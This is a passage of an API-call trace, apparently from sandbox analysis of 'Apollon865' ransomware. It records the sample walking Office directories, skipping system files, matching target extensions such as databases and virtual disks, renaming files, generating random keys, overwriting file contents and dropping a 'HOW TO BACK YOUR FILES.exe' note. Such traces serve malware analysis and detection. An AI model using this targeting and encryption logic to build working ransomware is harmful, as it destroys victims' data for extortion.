	[0075.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.878] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.878] CloseHandle (hObject=0x118) returned 1
	[0075.878] CloseHandle (hObject=0x15c) returned 1
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.878] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.878] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.879] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0075.879] lstrcpyW (in: lpString1=0x2d3e600, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.879] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.879] lstrlenW (lpString="Apollon865") returned 10
	[0075.879] lstrlenW (lpString=".dll") returned 4
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.879] lstrlenW (lpString=".lnk") returned 4
	[0075.879] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.880] lstrlenW (lpString=".ini") returned 4
	[0075.880] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.880] lstrlenW (lpString=".sys") returned 4
	[0075.880] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.880] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.880] lstrlenW (lpString="bak") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.880] lstrlenW (lpString="ba_") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.880] lstrlenW (lpString="dbb") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.880] lstrlenW (lpString="vmdk") returned 4
	[0075.880] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.880] lstrlenW (lpString="rar") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.880] lstrlenW (lpString="zip") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.880] lstrlenW (lpString="tgz") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.880] lstrlenW (lpString="vbox") returned 4
	[0075.880] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.880] lstrlenW (lpString="vdi") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.880] lstrlenW (lpString="vhd") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.880] lstrlenW (lpString="vhdx") returned 4
	[0075.880] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.880] lstrlenW (lpString="avhd") returned 4
	[0075.880] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.880] lstrlenW (lpString="db") returned 2
	[0075.880] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.880] lstrlenW (lpString="db2") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.880] lstrlenW (lpString="db3") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.880] lstrlenW (lpString="dbf") returned 3
	[0075.880] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.880] lstrlenW (lpString="mdf") returned 3
	[0075.881] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.881] lstrlenW (lpString="mdb") returned 3
	[0075.881] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.881] lstrlenW (lpString="sql") returned 3
	[0075.881] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.881] lstrlenW (lpString="sqlite") returned 6
	[0075.881] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.881] lstrlenW (lpString="sqlite3") returned 7
	[0075.881] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.881] lstrlenW (lpString="sqlitedb") returned 8
	[0075.881] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.881] lstrlenW (lpString="xml") returned 3
	[0075.881] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.881] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.Apollon865") returned 108
	[0075.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.883] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16683) returned 1
	[0075.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.884] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.884] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.884] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.884] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4430, lpName=0x0) returned 0x118
	[0075.886] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4430) returned 0x100000
	[0075.888] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.888] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.888] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.889] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.889] CloseHandle (hObject=0x118) returned 1
	[0075.889] CloseHandle (hObject=0x15c) returned 1
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.890] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.890] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.890] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0075.890] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us"
	[0075.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a73c8 | out: hHeap=0x580000) returned 1
	[0075.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0075.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned 96
	[0075.890] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us"
	[0075.890] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.896] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x454e13f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x454e13f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.896] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.896] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x454e13f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x454e13f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.896] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.896] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.896] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.896] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.896] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454e13f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x454e13f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.896] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.896] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".") returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="..") returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="windows") returned -1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootmgr") returned 1
	[0075.896] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="temp") returned -1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="pagefile.sys") returned 1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="boot") returned 1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ids.txt") returned 1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="perflogs") returned 1
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="MSBuild") returned 1
	[0075.897] lstrlenW (lpString="PowerPointMUI.XML") returned 17
	[0075.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*") returned 98
	[0075.897] lstrcpyW (in: lpString1=0x2d3e612, lpString2="PowerPointMUI.XML" | out: lpString1="PowerPointMUI.XML") returned="PowerPointMUI.XML"
	[0075.897] lstrlenW (lpString="PowerPointMUI.XML") returned 17
	[0075.897] lstrlenW (lpString="Apollon865") returned 10
	[0075.897] lstrcmpiW (lpString1="intMUI.XML", lpString2="Apollon865") returned 1
	[0075.897] lstrlenW (lpString=".dll") returned 4
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".dll") returned 1
	[0075.897] lstrlenW (lpString=".lnk") returned 4
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".lnk") returned 1
	[0075.897] lstrlenW (lpString=".ini") returned 4
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".ini") returned 1
	[0075.897] lstrlenW (lpString=".sys") returned 4
	[0075.897] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".sys") returned 1
	[0075.897] lstrlenW (lpString="PowerPointMUI.XML") returned 17
	[0075.897] lstrlenW (lpString="bak") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.897] lstrlenW (lpString="ba_") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.897] lstrlenW (lpString="dbb") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.897] lstrlenW (lpString="vmdk") returned 4
	[0075.897] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.897] lstrlenW (lpString="rar") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.897] lstrlenW (lpString="zip") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.897] lstrlenW (lpString="tgz") returned 3
	[0075.897] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.897] lstrlenW (lpString="vbox") returned 4
	[0075.897] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.898] lstrlenW (lpString="vdi") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.898] lstrlenW (lpString="vhd") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.898] lstrlenW (lpString="vhdx") returned 4
	[0075.898] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.898] lstrlenW (lpString="avhd") returned 4
	[0075.898] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.898] lstrlenW (lpString="db") returned 2
	[0075.898] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.898] lstrlenW (lpString="db2") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.898] lstrlenW (lpString="db3") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.898] lstrlenW (lpString="dbf") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.898] lstrlenW (lpString="mdf") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.898] lstrlenW (lpString="mdb") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.898] lstrlenW (lpString="sql") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.898] lstrlenW (lpString="sqlite") returned 6
	[0075.898] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.898] lstrlenW (lpString="sqlite3") returned 7
	[0075.898] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.898] lstrlenW (lpString="sqlitedb") returned 8
	[0075.898] lstrcmpiW (lpString1="tMUI.XML", lpString2="sqlitedb") returned 1
	[0075.898] lstrlenW (lpString="xml") returned 3
	[0075.898] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.898] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.Apollon865") returned 125
	[0075.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.899] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1450) returned 1
	[0075.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.900] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.900] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.900] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.901] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x118
	[0075.902] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0075.903] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.904] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.904] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.904] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.904] CloseHandle (hObject=0x118) returned 1
	[0075.904] CloseHandle (hObject=0xc0) returned 1
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.905] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
